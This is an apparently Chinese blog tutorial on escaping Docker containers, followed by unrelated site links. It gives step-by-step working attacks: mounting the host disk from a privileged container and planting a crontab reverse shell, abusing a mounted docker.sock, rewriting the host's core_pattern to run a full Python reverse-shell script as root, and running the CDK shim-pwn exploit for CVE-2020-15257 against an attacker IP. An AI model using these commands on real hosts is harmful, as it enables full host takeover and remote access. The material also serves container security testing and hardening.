三种Docker逃逸技术

发布时间:2026/9/20 6:03:29

三种Docker逃逸技术 本文详细介绍了判断Docker容器环境的方法并系统阐述了三种主要的Docker逃逸技术特权模式逃逸、危险挂载逃逸以及利用Docker自身漏洞逃逸。文章通过具体的命令操作和原理说明展示了从检测到实施逃逸的完整过程。1.判断Docker容器环境通过检查根目录下是否存在.dockerenv文件来判断当前是否处于Docker容器中。使用ls -alh命令若出现.dockerenv文件则确定在容器内。ls -alh2.特权模式逃逸2.1特权模式判断使用fdisk -l命令若成功列出磁盘信息则可能处于特权模式若出现多个Permission denied则可能为非特权模式。通过检查/proc/self/status文件内容使用egrep检索特定字符序列如0000003fffffffff或0000001fffffffff来精确判断是否为特权模式。cat /proc/self/status | egrep -qi 0000003fffffffff|0000001fffffffff echo Is privileged mode || echo Not privileged mode2.2逃逸实施步骤(1)在确认特权模式后创建目录如/test并将宿主机磁盘如/dev/sda1挂载到该目录。mkdir /test mount /dev/sda1 /test(2)通过向挂载的宿主机文件系统写入计划任务如修改/test/etc/crontab文件来添加反弹shell命令从而在宿主机上获得反向连接。反弹shellecho * * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 /test/etc/crontab(3)使用nc命令在攻击机开启监听等待宿主机执行计划任务后建立连接并通过检查挂载目录下的宿主机文件如/test/root来确认逃逸成功。nc -lvvp 4444ls -alh /test/root3.危险挂载逃逸3.1挂载Docker Socket逃逸原理是通过容器内挂载的/var/run/docker.sock文件与宿主机Docker守护进程通信。若容器内无/var/run/docker.sock文件可先安装Docker客户端。查看文件ls -lah /var/run/docker.sock安装docker客户端curl -fsSL https://get.docker.com/ | sh2.利用Docker命令如docker run创建新容器并将宿主机根目录挂载到新容器内使用-v /:/host参数。创建新容器docker run -it -v /:/host ubuntu /bin/bash3.在新容器内使用chroot /host命令切换根目录到宿主机文件系统从而完成逃逸。切换根目录到宿主机文件系统chroot /host3.2挂载宿主机Procfs逃逸原理linux在程序崩溃时会生成一个core文件通过篡改宿主机生成core文件的内核配置文件core_pattern使得系统崩溃并自动执行x.py反弹shell写入x.py中此时我们只需要上传一个c文件并触发程序崩溃反弹shell成功确定是procfs逃逸利用容器内挂载的宿主机proc文件系统。使用find命令确认存在两个core_pattern路径容器内和宿主机。core_pattern是 Linux内核中控制‌核心转储Core Dump‌ 行为的关键配置项。当程序崩溃如发生段错误 Segmentation Fault时操作系统会生成一个包含进程内存快照的文件即 core 文件。core_pattern 决定了这个 core 文件‌存储在哪里‌以及‌如何命名‌。/proc/sys/kernel/core_pattern宿主机配置项/host/proc/sys/kernel/core_pattern将宿主机配置项挂载到容器环境容器在宿主机的真实存储路径。通过cat /proc/mounts | grep workdir命令寻找容器在宿主机的真实存储路径如Overlay2的工作目录在容器内创建包含反弹shell代码的Python脚本如/tmp/.x.py并赋予执行权限chmod x /tmp/.x.py。cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost xx.xx.xx.xxlport xxxxdef main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF篡改宿主机/host/proc/sys/kernel/core_pattern的core_pattern配置将其指向容器内的恶意脚本路径。echo -e |/var/lib/docker/overlay2/123abc789def/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern-e 参数允许解释反斜杠转义字符。|‌最关键的部分‌。在 core_pattern中如果值以管道符 | 开头内核会将崩溃进程的 core dump 数据通过标准输入stdin传递给紧随其后的程序而不是保存为文件。‌该程序将以 root 权限执行‌。创建并执行一个会引起崩溃的C程序如/tmp/x.c触发核心转储机制从而执行恶意脚本使攻击机获得宿主机反弹shell。cat /tmp/x.c EOF#include stdio.hint main() {int *p; // 未初始化// 错误p 指向随机地址解引用导致非法访问*p 42;return 0;}EOF攻击机开始监听nc -lvvp 4444执行引起崩溃的代码./x逃逸成功4.Docker自身漏洞逃逸CVE-2020-15257CVE-2019-5736PoC地址https://github.com/Frichetten/CVE-2019-5736-PoC.gitCVE-2020-15257poc工具CDK云安全自动化渗透框架参考地址http://github.com/cdk-team/CDK/wiki/CDK-Home-CN1漏洞原理。CVE-2020-15257 是 containerd 组件中的一个容器逃逸漏洞。该漏洞允许攻击者在特定条件下通过访问containerd-shim的 API 套接字在宿主机上以 root 权限执行任意命令从而完全控制宿主机。主要原理containerd-shim 用于管理容器生命进程它通过抽象 Unix 域套接字Abstract Unix Domain Socket暴露 API。在旧版本中该套接字的访问控制仅验证连接进程的有效 UID 是否为 0root而未严格限制网络命名空间。当容器使用 --nethost模式启动时容器与宿主机共享网络命名空间使得容器内的 root 用户可以直接访问宿主机的 containerd-shim API 套接字。2漏洞利用前提。要成功利用此漏洞必须同时满足以下三个条件一是‌Containerd 版本过低‌containerd 版本低于 1.3.9 或 1.4.3。二是‌容器使用主机网络‌容器启动时使用了--nethost(Docker) 或hostNetwork: true(Kubernetes)导致容器与宿主机共享网络命名空间。三是‌容器内为 Root 用户‌容器内的进程以 UID 0 (root) 运行。如果容器内是非 root 用户则无法通过 UID 验证。3漏洞利用下载CDK工具wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_linux_amd64chmod x cdk_linux_amd64上传至容器环境docker cp cdk_linux_amd64 vuln-container:/tmp/docker exec -it vuln-container /bin/bashcd /tmp执行漏洞利用程序# 语法: ./cdk run shim-pwn attack-ip port./cdk_linux_amd64 run shim-pwn 192.168.1.100 4444
延伸阅读

更多相关文章

2026/9/20 6:03:28

采暖设备厂家怎么选?从五个维度对比靠谱供应商

对于需要采购采暖设备的用户而言,选择一家靠谱的采暖设备厂家需要从企业资质、技术能力、生产规模、项目经验和产品质量五个维度进行综合评估。本文以高森唐等采暖设备制造企业为例,围绕采暖设备厂家推荐、采购决策要点等问题展开客观说明。 Q: 采暖设备…

2026/9/20 6:03:35

Temporal工作流引擎实战:构建永不中断的分布式业务流程

1. 项目概述:为什么我们需要一个“永不中断”的工作流引擎?如果你在开发一个电商订单系统,用户下单后,需要依次调用库存锁定、支付扣款、物流发货、积分赠送、短信通知等一系列服务。任何一个环节失败,比如支付超时&am…

2026/9/20 2:09:00

Vibe Coding:敏捷开发新范式与团队协作实践指南

1. 先搞清楚 Vibe Coding 到底解决什么实际问题如果你在技术团队里带过项目,尤其是经历过从传统瀑布开发到敏捷、再到各种新协作模式的转变,就会明白“联合创始人适应 Vibe Coding”这个标题背后真正的问题是什么。它不是在讨论某个具体编程语言或框架&a…

2026/9/20 21:06:49

开放研究实践:构建可复现、可追溯的科研工作流

不知道你有没有过这种经历:拿到一篇顶会论文,按照作者公开的代码和数据跑复现,结果一跑一个报错,最后发现对方用的依赖版本、数据集清洗方式、甚至随机种子都没写清楚,整个“可复现”基本停留在口号层面。我在经历了三…

2026/9/20 21:06:49

QQ空间历史导出:一次运行,把你整个空间的时间线拿走

QQ空间历史导出:一次运行,把你整个空间的时间线拿走 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 多年前 QQ 空间里写的那些话,今天还能看到吗&…

2026/9/20 21:06:49

基于YOLOv8-Pose的实时老年人跌倒检测系统落地实战

在养老场景里干过几年视觉方案的人,基本都绕不过一个问题:怎么用不太贵的摄像头,把“老人摔了”这件事在几秒内变成一条告警,而不是事后调录像。跌倒这事对老年人来说太致命了,晚发现十分钟,后果完全不一样…

2026/9/20 21:06:49

Spark外卖大数据分析平台:从环境搭建到YARN调优实战

简介:基于Spark的外卖大数据平台分析系统完整项目包,主要面向大数据开发、数据分析和机器学习初学者,帮助解决外卖场景下的实时订单监控、用户行为分析与销量预测等问题。压缩包共含38个文件,以14个Scala源文件为核心,…

2026/9/20 21:01:49

doocs/source-code-hunter:ArrayList 底层原理源码级剖析与面试指南

文档教程知识库 【免费下载链接】source-code-hunter 😱 从源码层面,剖析挖掘互联网行业主流技术的底层实现原理,为广大开发者 “提升技术深度” 提供便利。目前开放 Spring 全家桶,Mybatis、Netty、Dubbo 框架,及 Red…

2026/9/20 0:04:49

GAMP 5 基于风险的计算机化系统验证:软件分类与审计追踪实践

简介:《A Risk-Based Approach to Compliant GxP Computerized Systems》即业内熟知的GAMP 5指南,面向制药企业质量与IT合规人员、验证工程师及计算机化系统管理者,用于解决GxP法规环境下系统合规性难以科学落地的问题。文档以风险管理为主线…

2026/9/20 0:04:49

安全托管MSSP实战:从静态防御到人机协同的攻防运营与应急响应

简介:这份PPT围绕互联网业务安全托管服务展开,面向企业安全负责人、IT运维人员及关注MSSP/MSS选型的读者,重点回应传统安全过度依赖人工、碎片化静态防御难以对抗产业化攻击等痛点。资源共1个pptx文件,包体约30.63MB,以…

2026/9/20 0:04:49

GAMP 5 基于风险的计算机化系统验证:软件分类与审计追踪实践

简介:《A Risk-Based Approach to Compliant GxP Computerized Systems》即业内熟知的GAMP 5指南,面向制药企业质量与IT合规人员、验证工程师及计算机化系统管理者,用于解决GxP法规环境下系统合规性难以科学落地的问题。文档以风险管理为主线…

2026/9/20 0:04:49

安全托管MSSP实战:从静态防御到人机协同的攻防运营与应急响应

简介:这份PPT围绕互联网业务安全托管服务展开,面向企业安全负责人、IT运维人员及关注MSSP/MSS选型的读者,重点回应传统安全过度依赖人工、碎片化静态防御难以对抗产业化攻击等痛点。资源共1个pptx文件,包体约30.63MB,以…

2026/9/20 4:54:47

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/20 5:01:23

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/20 5:09:33

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码